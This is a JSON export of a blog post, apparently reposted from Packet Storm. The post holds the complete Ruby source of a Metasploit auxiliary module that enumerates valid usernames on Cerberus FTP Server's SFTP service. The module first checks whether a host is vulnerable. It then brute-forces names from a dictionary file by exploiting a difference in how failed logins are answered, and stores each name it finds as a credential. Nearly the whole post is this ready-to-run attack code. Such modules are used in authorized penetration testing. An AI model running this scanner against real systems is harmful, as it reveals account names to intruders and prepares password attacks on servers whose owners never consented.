{"id":59361,"date":"2024-09-01T21:29:38","date_gmt":"2024-09-01T18:29:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181228\/cerberus_sftp_enumusers.rb.txt"},"modified":"2024-09-01T21:29:38","modified_gmt":"2024-09-01T18:29:38","slug":"cerberus-ftp-server-sftp-username-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cerberus-ftp-server-sftp-username-enumeration\/","title":{"rendered":"Cerberus FTP Server SFTP Username Enumeration"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;net\/ssh&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Cerberus FTP Server SFTP Username Enumeration&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module uses a dictionary to brute force valid usernames from<br \/>Cerberus FTP server via SFTP. This issue affects all versions of<br \/>the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy<br \/>in the way the SSH service handles failed logins for valid and invalid<br \/>users. This issue was discovered by Steve Embling.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Steve Embling&#8217;, # Discovery<br \/>&#8216;Matt Byrne &lt;attackdebris[at]gmail.com&gt;&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/xforce.iss.net\/xforce\/xfdb\/93546&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;67707&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2014-05-27&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::Proxies,<br \/>Opt::RPORT(22),<br \/>OptPath.new(<br \/>&#8216;USER_FILE&#8217;,<br \/>[true, &#8216;Files containing usernames, one per line&#8217;, nil])<br \/>], self.class<br \/>)<\/p>\n<p>register_advanced_options(<br \/>[<br \/>OptInt.new(<br \/>&#8216;RETRY_NUM&#8217;,<br \/>[true , &#8216;The number of attempts to connect to a SSH server for each user&#8217;, 3]),<br \/>OptInt.new(<br \/>&#8216;SSH_TIMEOUT&#8217;,<br \/>[true, &#8216;Specify the maximum time to negotiate a SSH session&#8217;, 10]),<br \/>OptBool.new(<br \/>&#8216;SSH_DEBUG&#8217;,<br \/>[true, &#8216;Enable SSH debugging output (Extreme verbosity!)&#8217;, false])<br \/>])<br \/>end<\/p>\n<p>def rport<br \/>datastore[&#8216;RPORT&#8217;]end<\/p>\n<p>def retry_num<br \/>datastore[&#8216;RETRY_NUM&#8217;]end<\/p>\n<p>def check_vulnerable(ip)<br \/>opt_hash = {<br \/>:port =&gt; rport,<br \/>:auth_methods =&gt; [&#8216;password&#8217;, &#8216;keyboard-interactive&#8217;],<br \/>:use_agent =&gt; false,<br \/>:config =&gt; false,<br \/>:password_prompt =&gt; Net::SSH::Prompt.new,<br \/>:non_interactive =&gt; true,<br \/>:proxies =&gt; datastore[&#8216;Proxies&#8217;],<br \/>:verify_host_key =&gt; :never<br \/>}<\/p>\n<p>begin<br \/>transport = Net::SSH::Transport::Session.new(ip, opt_hash)<br \/>rescue Rex::ConnectionError<br \/>return :connection_error<br \/>end<\/p>\n<p>auth = Net::SSH::Authentication::Session.new(transport, opt_hash)<br \/>auth.authenticate(&#8220;ssh-connection&#8221;, Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))<br \/>auth_method = auth.allowed_auth_methods.join(&#8216;|&#8217;)<br \/>print_good &#8220;#{peer(ip)} Server Version: #{auth.transport.server_version.version}&#8221;<br \/>report_service(<br \/>host: ip,<br \/>port: rport,<br \/>name: &#8220;ssh&#8221;,<br \/>proto: &#8220;tcp&#8221;,<br \/>info: auth.transport.server_version.version<br \/>)<\/p>\n<p>if auth_method.empty?<br \/>:vulnerable<br \/>else<br \/>:safe<br \/>end<br \/>end<\/p>\n<p>def check_user(ip, user, port)<br \/>pass = Rex::Text.rand_text_alphanumeric(8)<\/p>\n<p>opt_hash = {<br \/>:auth_methods =&gt; [&#8216;password&#8217;, &#8216;keyboard-interactive&#8217;],<br \/>:port =&gt; port,<br \/>:use_agent =&gt; false,<br \/>:config =&gt; false,<br \/>:proxies =&gt; datastore[&#8216;Proxies&#8217;],<br \/>:verify_host_key =&gt; :never<br \/>}<\/p>\n<p>opt_hash.merge!(verbose: :debug) if datastore[&#8216;SSH_DEBUG&#8217;]transport = Net::SSH::Transport::Session.new(ip, opt_hash)<br \/>auth = Net::SSH::Authentication::Session.new(transport, opt_hash)<\/p>\n<p>begin<br \/>::Timeout.timeout(datastore[&#8216;SSH_TIMEOUT&#8217;]) do<br \/>auth.authenticate(&#8220;ssh-connection&#8221;, user, pass)<br \/>auth_method = auth.allowed_auth_methods.join(&#8216;|&#8217;)<br \/>if auth_method != &#8221;<br \/>:success<br \/>else<br \/>:fail<br \/>end<br \/>end<br \/>rescue Rex::ConnectionError<br \/>return :connection_error<br \/>rescue Net::SSH::Disconnect, ::EOFError<br \/>return :success<br \/>rescue ::Timeout::Error<br \/>return :connection_error<br \/>end<br \/>end<\/p>\n<p>def do_report(ip, user, port)<br \/>service_data = {<br \/>address: ip,<br \/>port: rport,<br \/>service_name: &#8216;ssh&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user,<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def peer(rhost=nil)<br \/>&#8220;#{rhost}:#{rport} SSH -&#8220;<br \/>end<\/p>\n<p>def user_list<br \/>users = nil<br \/>if File.readable? datastore[&#8216;USER_FILE&#8217;]users = File.new(datastore[&#8216;USER_FILE&#8217;]).read.split<br \/>users.each {|u| u.downcase!}<br \/>users.uniq!<br \/>else<br \/>raise ArgumentError, &#8220;Cannot read file #{datastore[&#8216;USER_FILE&#8217;]}&#8221;<br \/>end<\/p>\n<p>users<br \/>end<\/p>\n<p>def attempt_user(user, ip)<br \/>attempt_num = 0<br \/>ret = nil<\/p>\n<p>while (attempt_num &lt;= retry_num) &amp;&amp; (ret.nil? || ret == :connection_error)<br \/>if attempt_num &gt; 0<br \/>Rex.sleep(2 ** attempt_num)<br \/>vprint_status(&#8220;#{peer(ip)} Retrying &#8216;#{user}&#8217; due to connection error&#8221;)<br \/>end<\/p>\n<p>ret = check_user(ip, user, rport)<br \/>attempt_num += 1<br \/>end<\/p>\n<p>ret<br \/>end<\/p>\n<p>def show_result(attempt_result, user, ip)<br \/>case attempt_result<br \/>when :success<br \/>print_good &#8220;#{peer(ip)} User &#8216;#{user}&#8217; found&#8221;<br \/>do_report(ip, user, rport)<br \/>when :connection_error<br \/>print_error &#8220;#{peer(ip)} User &#8216;#{user}&#8217; could not connect&#8221;<br \/>when :fail<br \/>vprint_status &#8220;#{peer(ip)} User &#8216;#{user}&#8217; not found&#8221;<br \/>end<br \/>end<\/p>\n<p>def run_host(ip)<br \/>print_status &#8220;#{peer(ip)} Checking for vulnerability&#8221;<br \/>case check_vulnerable(ip)<br \/>when :vulnerable<br \/>print_good &#8220;#{peer(ip)} Vulnerable&#8221;<br \/>print_status &#8220;#{peer(ip)} Starting scan&#8221;<br \/>user_list.each do |user|<br \/>show_result(attempt_user(user, ip), user, ip)<br \/>end<br \/>when :safe<br \/>print_error &#8220;#{peer(ip)} Not vulnerable&#8221;<br \/>when :connection_error<br \/>print_error &#8220;#{peer(ip)} Connection failed&#8221;<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;net\/ssh&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Cerberus FTP Server SFTP Username Enumeration&#8217;,&#8216;Description&#8217; =&gt; %q{This module uses a dictionary to brute force valid usernames fromCerberus FTP server via SFTP. This issue affects all versions ofthe software older than 6.0.9.0 or &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59361","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59361","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59361"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59361\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59361"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}